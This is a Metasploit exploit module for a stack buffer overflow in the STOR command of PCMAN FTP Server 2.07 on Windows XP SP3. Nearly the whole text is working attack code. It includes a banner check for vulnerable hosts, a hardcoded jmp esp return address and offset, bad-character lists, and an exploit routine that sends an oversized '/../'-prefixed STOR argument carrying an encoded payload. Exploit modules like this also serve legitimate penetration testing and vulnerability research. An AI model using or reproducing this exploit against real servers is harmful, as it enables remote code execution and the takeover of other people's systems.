PCMAN FTP Server Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PCMAN FTP Server STOR Command Stack Overflow',  
'Description' => %q{  
This module exploits a buffer overflow vulnerability  
found in the STOR command of the PCMAN FTP v2.07 Server  
when the "/../" parameters are also sent to the server.  
},  
'Author' => [  
'Christian (Polunchis) Ramirez', # Initial Discovery  
'Rick (nanotechz9l) Flores', # Metasploit Module   
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: $',  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/27703/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\xff\x0a\x0d\x20\x40",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP3',   
{   
'Ret' => 0x7C91FCD8, # jmp esp from kernel32.dll  
'Offset' => 2002  
}   
],  
],  
'DisclosureDate' => 'Jul 17 2011',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect  
if (banner =~ /220 PCMan's FTP Server 2.0/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect_login  
print_status("Trying victim #{target.name}...")   
sploit = "\x41" * 2002 + [target.ret].pack('V') + make_nops(4) + "\x83\xc4\x9c" + payload.encoded  
sploit << make_nops(4)  
sploit << payload.encoded  
send_cmd( ['STOR', '/../' + sploit], false )  
handler  
disconnect  
end  
end`